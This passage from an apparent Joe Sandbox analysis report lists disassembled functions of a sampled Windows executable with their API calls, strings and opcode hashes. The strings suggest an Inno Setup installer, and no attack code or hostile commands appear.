Function 00495494 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,?,00000000), ref: 004954F8
OffsetRect.USER32(?,00000000,?), ref: 00495513
OffsetRect.USER32(?,?,00000000), ref: 0049552D
OffsetRect.USER32(?,00000000,?), ref: 00495548

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: 189e9286564265d853a06d191ff0450012ffb6c3854856ebd751307d5f0fca29
Instruction ID: 0cb6fc954a72117405a3be1f948335ff5a15e1e1cf1cb616ea1ff77106a83dd0
Opcode Fuzzy Hash: 189e9286564265d853a06d191ff0450012ffb6c3854856ebd751307d5f0fca29
Instruction Fuzzy Hash: 372181B6700601AFCB00DE69CD85E6B77DAEBC4344F248A2AF944C7249D638ED448755

Function 00417218 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00417260
SetCursor.USER32(00000000), ref: 004172A3
GetLastActivePopup.USER32(?), ref: 004172CD
GetForegroundWindow.USER32(?), ref: 004172D4

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: 0923a2c161fc1a9e066ccd67b54e00c3a39e3c999bff849f93405dbd13ead463
Instruction ID: de3f0dc6b436800086b9427ec8ddd2ec86eeedce3a35093462374e80c8eda50e
Opcode Fuzzy Hash: 0923a2c161fc1a9e066ccd67b54e00c3a39e3c999bff849f93405dbd13ead463
Instruction Fuzzy Hash: C52183313086118AD720AFA9E945AE733F1EF44754B0544ABF8558B352DB3DDC82CB9E

Function 0049514C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00000008,?), ref: 00495161
MulDiv.KERNEL32(?,00000008,?), ref: 00495175
MulDiv.KERNEL32(?,00000008,?), ref: 00495189
MulDiv.KERNEL32(?,00000008,?), ref: 004951A7

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
Instruction ID: ece1589fda812a565620013fcb1ed5a997ef569cae5724ba48b6fbd062de1f9b
Opcode Fuzzy Hash: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
Instruction Fuzzy Hash: E8115172A05104AFCB40DEA9D8C5E8B7BECEF4D320B24416AF908DB346D634EC408BA4

Function 0041F480 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,0041F470,?), ref: 0041F4A1
UnregisterClassA.USER32(0041F470,00400000), ref: 0041F4CA
RegisterClassA.USER32(00499598), ref: 0041F4D4
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F50F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 7a514111b6068dfbbdb04c48d1a2146d17cf63cab41d43eccfd0167b2dbd8d5c
Instruction ID: 7a0dc659497f48f9aad4428a0df7724adcaf244520b53866b591a9b3b5545ee4
Opcode Fuzzy Hash: 7a514111b6068dfbbdb04c48d1a2146d17cf63cab41d43eccfd0167b2dbd8d5c
Instruction Fuzzy Hash: F6011B72240104AADA10EBACED81E9B33999729314B11423BB615E72A2D6399C558BAC

Function 0040D010 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D027
LoadResource.KERNEL32(00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047C648,0000000A,00000000), ref: 0040D041
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047C648), ref: 0040D05B
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?), ref: 0040D065

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
Instruction ID: ce77ce8360aa458f47a01e9b0563465317cd85cc21d7bcd45488e041df035c61
Opcode Fuzzy Hash: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
Instruction Fuzzy Hash: 49F04F726056046F9B14EE59A881D5B77ECDE88268310013AF908E7286DA38DD018B68

Function 00470414 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 00470465

Strings

Unsetting NTFS compression on file: %s, xrefs: 0047044B
Failed to set NTFS compression state (%d)., xrefs: 00470476
Setting NTFS compression on file: %s, xrefs: 00470433

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on file: %s$Unsetting NTFS compression on file: %s
API String ID: 1452528299-3038984924
Opcode ID: a714ca870f106a0b299b69b708085a280bfeb4b7d5a8dbea3a6d3b5799a23f26
Instruction ID: 5508092d392c29e30f7e419f1558a5efa53bd64671fa73d33ea5aa8feab5f6e0
Opcode Fuzzy Hash: a714ca870f106a0b299b69b708085a280bfeb4b7d5a8dbea3a6d3b5799a23f26
Instruction Fuzzy Hash: CA016730E1924896CB14D7AD54812EDBBF49F49308F44C1EFA55DE7382DA781A08879A

Function 0046FC68 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000), ref: 0046FCB9

Strings

Unsetting NTFS compression on directory: %s, xrefs: 0046FC9F
Failed to set NTFS compression state (%d)., xrefs: 0046FCCA
Setting NTFS compression on directory: %s, xrefs: 0046FC87

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to set NTFS compression state (%d).$Setting NTFS compression on directory: %s$Unsetting NTFS compression on directory: %s
API String ID: 1452528299-1392080489
Opcode ID: d08b5e621045cc5cd0e44a77b6b1f6d9ef736be1227186b37ca663e00f32494c
Instruction ID: 966577c707f49859c08c22ad5a588f09726d737875f6d95343439a3241496ead
Opcode Fuzzy Hash: d08b5e621045cc5cd0e44a77b6b1f6d9ef736be1227186b37ca663e00f32494c
Instruction Fuzzy Hash: 55011720D1824C56CB14D7AD74812DDBBB4AF49314F54C1BFA899E7342EB791A0C879B

Function 00455D9C Relevance: 6.0, APIs: 4, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,0045B5FE,?,?,?,?,?,00000000,0045B625), ref: 00455DD8
RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,0045B5FE,?,?,?,?,?,00000000), ref: 00455DE1
RemoveFontResourceA.GDI32(00000000), ref: 00455DEE
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00455E02

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: 876c7f592335f26f534d3a610f48d9a4b9bf1bdf8c7f8d73d654af2b8de839a9
Instruction ID: 71ccc6c4ad223293e5fa71c014565a1ca4f3f808124b73c5b0663eb55104ffd2
Opcode Fuzzy Hash: 876c7f592335f26f534d3a610f48d9a4b9bf1bdf8c7f8d73d654af2b8de839a9
Instruction Fuzzy Hash: 57F0BEB174070036EA10B6BAAC4BF2B26CC8F54745F10883ABA00EF2C3D97CDC04962D

Function 0047C838 Relevance: 6.0, APIs: 4, Instructions: 35sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0047C859
GetLastError.KERNEL32 ref: 0047C863
GetTickCount.KERNEL32 ref: 0047C86D
Sleep.KERNEL32(00000032), ref: 0047C87D

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: a059845960953a09b5437104de94e4f2c0855e1466d2a7ed8765463934732ab9
Instruction ID: 6dd2862dcb574814dc985a52fd8bef393983683767be68f312e29577703bd9fd
Opcode Fuzzy Hash: a059845960953a09b5437104de94e4f2c0855e1466d2a7ed8765463934732ab9
Instruction Fuzzy Hash: C4E0E5623291114D862935FE18D25AF4984CBC23A6B2A453FE088D6242C8584D05467F

Function 00477D24 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC,?,?,?,?,?,0049884B,00000000), ref: 00477D2D
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC,?,?,?,?,?,0049884B), ref: 00477D33
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC), ref: 00477D55
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00480DAC), ref: 00477D66

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: 3a93110a626b43f3eadaa74cf541c0290f0e8f026231ea58c1b57ecd76d8e3ea
Instruction ID: 7d1e0899fa26f13c2a6683c6024d2156ea27cbafc883e2ae306b9283f9cebe78
Opcode Fuzzy Hash: 3a93110a626b43f3eadaa74cf541c0290f0e8f026231ea58c1b57ecd76d8e3ea
Instruction Fuzzy Hash: 85F037616447007BD610E6B58C81E6B73DCEF44754F04893A7E94C72C1D678D8089726

Function 00424240 Relevance: 6.0, APIs: 4, Instructions: 26windowCOMMON

Download Yara Rule

APIs

GetLastActivePopup.USER32(?), ref: 0042424C
IsWindowVisible.USER32(?), ref: 0042425D
IsWindowEnabled.USER32(?), ref: 00424267
SetForegroundWindow.USER32(?), ref: 00424271

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: f5eb756bdd9929eb0187d31ee3fb53ef02cbc66ad04bc69917a7cf098bede398
Instruction ID: 2c5ff33fc315f6eb6fab431e1453bcb0e66c5aaaa6596e28cc8dc28fd0b03a53
Opcode Fuzzy Hash: f5eb756bdd9929eb0187d31ee3fb53ef02cbc66ad04bc69917a7cf098bede398
Instruction Fuzzy Hash: C7E0EC61B02672D6AE31FA7B2881A9F518C9D45BE434641EBBC04FB38ADB2CDC1141BD

Function 0040626C Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 0040626F
GlobalUnlock.KERNEL32(00000000), ref: 00406276
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0040627B
GlobalLock.KERNEL32(00000000), ref: 00406281

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Global$AllocHandleLockUnlock
String ID:
API String ID: 2167344118-0
Opcode ID: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
Instruction ID: 5df08fd8dc2b017785a639aa93036e57be915985ffe03f20f856cac12e18577c
Opcode Fuzzy Hash: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
Instruction Fuzzy Hash: 0BB009C4810A01BEEC0473B24C0BE3F245CD88172C3904A6F3448BA183987C9C405A3A

Function 00479D3C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 210registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047B625,?,00000000,00000000,00000001,00000000,00479FD9,?,00000000), ref: 00479F9D

Strings

Failed to parse "reg" constant, xrefs: 00479FA4
Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 00479E11

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Close
String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
API String ID: 3535843008-1938159461
Opcode ID: 16d8054e143327fe44f194470e69b7b3affe626307b8d2e4c87d8a967639857b
Instruction ID: 47cfa27444033e2517bbb80e4c41b37ce2323e10df06c4a21d1f595548a21c80
Opcode Fuzzy Hash: 16d8054e143327fe44f194470e69b7b3affe626307b8d2e4c87d8a967639857b
Instruction Fuzzy Hash: EB814F74E00108AFCB10EFA5D881ADEBBF9EF49314F50816AE814E7391D7389E45CB98

Function 00483070 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,004831FA,?,00000000,0048323B,?,?,?,?,00000000,00000000,00000000,?,0046BC0D), ref: 004830A9
SetActiveWindow.USER32(?,00000000,004831FA,?,00000000,0048323B,?,?,?,?,00000000,00000000,00000000,?,0046BC0D), ref: 004830BB

Strings

Will not restart Windows automatically., xrefs: 004831DA

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$ActiveForeground
String ID: Will not restart Windows automatically.
API String ID: 307657957-4169339592
Opcode ID: 5dc678ddc73231bd7f3deb4895ee9687ce670b7cd050f2935782a4b7fd108cc5
Instruction ID: 14d12ce259a9d91e5540598a1459cb212717435f7278461c6eeed3650d71e2e9
Opcode Fuzzy Hash: 5dc678ddc73231bd7f3deb4895ee9687ce670b7cd050f2935782a4b7fd108cc5
Instruction Fuzzy Hash: E7415530304280AEE701FF64DDAAB6DBBA0AB56F05F104CB7E8404B3A2C67D1A01DB5D

Function 0046CA80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

Failed to proceed to next wizard page; aborting., xrefs: 0046CB98
Failed to proceed to next wizard page; showing wizard., xrefs: 0046CBAC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID: Failed to proceed to next wizard page; aborting.$Failed to proceed to next wizard page; showing wizard.
API String ID: 0-1974262853
Opcode ID: 5c21498a53a12cfa8e7fd6d0fca4a53d4e4662c611673a7e38899ae354c5c1cd
Instruction ID: f767aec7694c3a706269651ece3f491ea64dc64c3ef09eb99a1787ebd09846f2
Opcode Fuzzy Hash: 5c21498a53a12cfa8e7fd6d0fca4a53d4e4662c611673a7e38899ae354c5c1cd
Instruction Fuzzy Hash: A7317230604204DFD711EB99D5C6BA977E5AB05704F5500BBE048AB392D778BE40CB5E

Function 004789B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(?,00478A9E,?,?,00000001,00000000,00000000,00478AB9), ref: 00478A87

Strings

Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00478A12
%s\%s_is1, xrefs: 00478A30

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1598650737
Opcode ID: cbbb33293de64dd8a9f9caa67a5b3cda024617d485473e40b666104571127f40
Instruction ID: dc80809357616fc60b3df9076f922e914a3229883baf2cade8178dd1eb90c67d
Opcode Fuzzy Hash: cbbb33293de64dd8a9f9caa67a5b3cda024617d485473e40b666104571127f40
Instruction Fuzzy Hash: C2218170B042446FDB01DFA9CC55ADEBBE8EB88304F90847BE508E7381DA789D01CB59

Function 00450168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000044B,00000000,?), ref: 004501FD
ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 0045022E

Strings

open, xrefs: 00450221

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ExecuteMessageSendShell
String ID: open
API String ID: 812272486-2758837156
Opcode ID: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
Instruction ID: 7f57506e0c07b49dd0b520b237e7736b759e9f4ed638734fb0c833ac5abbff07
Opcode Fuzzy Hash: ea446b968c091deb5619fe0c64f284e9fafe3e6cb185d1fb8701354efc215884
Instruction Fuzzy Hash: A1216074E00204AFDB10DFA9C896B9EBBF8EB44705F1081BAB404E7292D678DE45CA59

Function 00455290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 0045532C
GetLastError.KERNEL32(0000003C,00000000,00455375,?,?,?), ref: 0045533D

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Strings

<, xrefs: 004552E6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

